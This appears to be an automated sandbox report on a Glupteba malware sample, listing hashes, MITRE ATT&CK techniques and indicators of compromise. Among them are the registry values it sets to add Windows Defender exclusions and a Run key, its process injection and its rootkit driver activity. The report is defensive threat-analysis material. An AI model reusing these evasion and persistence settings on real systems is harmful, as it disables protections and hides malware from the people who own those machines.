glupteba | a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a

Analysis

max time kernel
290s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-04-2024 22:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Size

4.3MB
MD5

a44d1116f17c932856735b53646f90fc
SHA1

dc70589cdb3aac3a78d4d65ed889594d027c36e6
SHA256

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a
SHA512

302b6f57dd740250a9e6497f810d7fc7b7851ec1e46a1d5d45f21b25fa2da999fc9925ccfd439dd94c384034ff3fc2d9fbfc59964dbb229cc77bc87c60a51e50
SSDEEP

98304:3uyKg3jZU541Yj5PzgHjePXqhtl0kIuUwvjD6Id/WQWVfUkpHoy:eyTZ51GrgHhhtl0VuUwv6Idifmy

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 35 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1260-2-0x0000000002F10000-0x00000000037FB000-memory.dmp	family_glupteba
behavioral2/memory/1260-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1260-301-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1260-302-0x0000000002F10000-0x00000000037FB000-memory.dmp	family_glupteba
behavioral2/memory/2264-305-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2264-798-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2264-827-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2264-1041-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1045-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1538-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1789-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1798-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1800-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1802-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1804-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1806-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1808-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1810-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1812-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1814-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1816-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1818-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1820-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1822-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1824-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1826-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1828-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1830-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1832-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1834-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1836-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1838-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1840-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1842-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/500-1844-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

800 netsh.exe
Executes dropped EXE 4 IoCs

Processes:

csrss.exeinjector.exewindefender.exewindefender.exe

pid process

500 csrss.exe
4928 injector.exe
1904 windefender.exe
2868 windefender.exe

pid	process
800	netsh.exe

pid	process
500	csrss.exe
4928	injector.exe
1904	windefender.exe
2868	windefender.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral2/memory/1904-1797-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2868-1799-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2868-1803-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
behavioral2/memory/912-2344-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

Drops file in Windows directory 4 IoCs

Processes:

csrss.exea0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
File created	C:\Windows\rss\csrss.exe	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

4128 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4156 schtasks.exe
520 schtasks.exe

pid	process
4128	sc.exe

pid	process
4156	schtasks.exe
520	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exepowershell.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-981 = "Kamchatka Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2612 = "Bougainville Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-742 = "New Zealand Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-492 = "India Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-432 = "Iran Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2372 = "Easter Island Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-632 = "Tokyo Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-385 = "Namibia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2512 = "Lord Howe Standard Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exea0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exepowershell.exea0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exe

pid	process
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
4064	powershell.exe
4064	powershell.exe
4064	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
1668	powershell.exe
1668	powershell.exe
1668	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
500	csrss.exe
4928	injector.exe
500	csrss.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
500	csrss.exe
500	csrss.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
500	csrss.exe
500	csrss.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe
4928	injector.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exea0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exe

description	pid	process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Token: SeImpersonatePrivilege	1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeSystemEnvironmentPrivilege	500	csrss.exe
Token: SeSecurityPrivilege	4128	sc.exe
Token: SeSecurityPrivilege	4128	sc.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exea0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.execmd.execsrss.exewindefender.execmd.exe

description	pid	process	target process
PID 1260 wrote to memory of 4840	1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
